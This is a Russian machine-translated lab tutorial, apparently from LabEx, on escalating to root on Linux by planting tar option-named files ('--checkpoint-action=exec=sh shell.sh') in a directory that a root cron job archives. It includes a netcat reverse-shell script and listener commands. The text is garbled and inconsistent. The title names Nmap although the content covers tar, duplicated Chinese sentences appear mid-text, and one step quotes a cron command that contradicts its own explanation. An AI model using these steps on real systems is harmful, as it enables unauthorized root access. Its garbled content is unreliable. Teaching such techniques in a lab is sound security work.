Выполнение инъекции подстановочных знаков в Nmap для повышения привилегий

Beginner

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В этом лабораторном занятии мы узнаем о методе инъекции с использованием подстановочных знаков (wildcard injection), который применяется для повышения привилегий на системах Linux. В частности, мы изучим принцип работы инъекции с использованием подстановочных знаков в широко используемой команде tar и выполним практическое упражнение по получению привилегий суперпользователя (root) путем эксплойта этой уязвимости в сочетании с утилитой crontab.


Skills Graph

Понимание подстановочных знаков

Сначала разберемся, что такое подстановочные знаки (wildcards) и как они работают в оболочке Linux. Подстановочные знаки - это специальные символы или последовательности символов, которые можно использовать для представления или сопоставления набора имен файлов или путей.

Вот некоторые распространенные подстановочные знаки:

  • * (звездочка) соответствует любому количеству символов (в том числе и нулю) в имени файла или пути.
  • ? (знак вопроса) соответствует любому одиночному символу.
  • [] (квадратные скобки) соответствуют любому одиночному символу из заданного набора символов, заключенного в скобки.
  • ~ (тильда) представляет домашний каталог текущего пользователя или другого пользователя, если за ней следует имя пользователя.

В контексте повышения привилегий часто используются подстановочные знаки * и -. Сначала изучим, как оболочка интерпретирует символ -.

  1. Откройте терминал и перейдите в каталог /home/labex/project:

    cd /home/labex/project
  2. В текущем каталоге есть файл с именем --help. Попытайтесь подумать и поэкспериментировать, как можно просмотреть содержимое этого файла.

    Если вы используете команду cat --help, вы получите сообщение справки для команды cat, а не просмотрите содержимое файла --help.

    Аналогично, если вы используете vim --help, вы увидите сообщение справки для команды vim.

    Это происходит потому, что оболочка Linux интерпретирует - как аргумент команды.

  3. Чтобы просмотреть содержимое файла --help, вам нужно избежать начала имени файла с -. Вы можете использовать:

    cat /home/labex/project/--help

    Таким образом, оболочка не будет интерпретировать --help как аргумент, и вы сможете просмотреть содержимое файла.

  4. Теперь изменим содержимое файла --help с помощью любого редактора на ваш выбор. Например, вы можете использовать nano:

    nano /home/labex/project/--help

    Удалите существующее содержимое и добавьте в файл следующий текст:

    I can read the file

    Сохраните изменения и выйдите из nano.

正是这种 shell 的行为被通配符注入所利用。

通配符注入通常与 cron 作业结合使用,因此让我们探讨一个涉及 tar 命令的实际示例。

这种行为正是通配符注入所利用的。

通配符注入常常与 cron 作业结合使用,那么让我们来探讨一个涉及 tar 命令的实际例子。

Инъекция подстановочных знаков в crontab с использованием tar

Для понимания того, как инъекция подстановочных знаков может привести к повышению привилегий, мы выполним практическое упражнение, связанное с командой tar и утилитой crontab.

  1. Сначала инициализируем лабораторную среду, выполнив следующую команду:

    Перейдите в каталог /home/labex/project:

    cd /home/labex/project

    Запустите скрипт настройки для инициализации лабораторной среды:

    ./env_setup.sh

    После инициализации вы перейдете к пользователю user001 (это имитация атакующего, который получил первоначальный доступ к оболочке).

  2. Затем проверим crontab на наличие запланированных задач:

    cat /etc/crontab

    Ожидаемый вывод:

    * * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *

    Вы должны увидеть задачу, запланированную на выполнение каждую минуту, которая архивирует содержимое каталога /var/www/html/ в сжатый файл /var/backups/html.tgz.

  3. Далее посмотрим на файлы внутри каталога /var/www/html:

    ls /var/www/html

    Чтобы эксплоитнуть уязвимость инъекции подстановочных знаков, нам нужно создать следующие три файла в каталоге /var/www/html/.

    Сначала перейдите в каталог /var/www/html:

    cd /var/www/html/
    • shell.sh с содержимым для выполнения обратной оболочки (reverse shell):

      echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.sh
    • Файл с именем --checkpoint-action=exec=sh shell.sh (обратите внимание на пробелы в имени файла):

      echo "" > "--checkpoint-action=exec=sh shell.sh"
    • Файл с именем --checkpoint=1:

      echo "" > --checkpoint=1

    После создания этих файлов каталог /var/www/html/ должен выглядеть так:

    '--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.sh
  4. Когда cron- задача выполнит следующую команду:

    tar -zcf /var/backups/html.tgz /var/www/html/*

    Она будет интерпретирована как:

    tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html

    Вот что означают эти параметры:

    • --checkpoint и --checkpoint-action обычно используются вместе. Первый устанавливает контрольную точку, а второй определяет действие, которое должно быть выполнено при достижении контрольной точки.
    • --checkpoint-action=exec=sh shell.sh означает, что при достижении контрольной точки будет выполнен скрипт shell.sh.

    Таким образом, каждый раз, когда cron- задача запускается, будет выполнен скрипт shell.sh, который откроет обратную оболочку /bin/bash на локальном порту 4444.

  5. Теперь настроим прослушивание на локальном порту 4444 в текущей оболочке:

    nc -lnvp 4444

    После небольшого ожидания, когда cron- задача будет выполнена, мы должны получить обратную оболочку с привилегиями суперпользователя (root):

    Ожидаемый вывод:

    Listening on 0.0.0.0 4444
    Connection received on 127.0.0.1 56226

    Попробуйте создать файл success.txt в каталоге /root, чтобы убедиться, что у вас есть привилегии суперпользователя:

    touch /root/success.txt

    Если вы можете создать файл без ошибок доступа, вы успешно повысили свои привилегии с помощью инъекции подстановочных знаков.

Есть два важных ограничения для этого метода повышения привилегий с использованием tar и crontab:

  1. Каталог html должен иметь права записи (w) для "других" пользователей, чтобы мы могли создать файлы shell.sh и другие в этом каталоге.

  2. Команда tar в crontab не должна содержать абсолютный путь. Например, если запись в crontab выглядит так:

    * * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*

    Инъекция подстановочных знаков не сработает, потому что оболочка интерпретирует команду как:

    tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html

    В этом случае /var/www/html/--checkpoint=1 и /var/www/html/--checkpoint-action=exec=sh shell.sh не будут интерпретированы как аргументы команды tar, и инъекция не сработает.

Итог

В этом лабораторном занятии мы познакомились с методом инъекции подстановочных знаков (wildcard injection), который применяется для повышения привилегий на системах Linux. Мы изучили принцип работы инъекции подстановочных знаков в широко используемой команде tar и выполнили практическое упражнение по получению привилегий суперпользователя (root) путем эксплойта этой уязвимости в сочетании с утилитой crontab. В результате этого занятия мы приобрели практический опыт в понимании и эксплойте реальной уязвимости, позволяющей повысить привилегии, что является важным навыком для любого профессионала в области безопасности или системного администратора.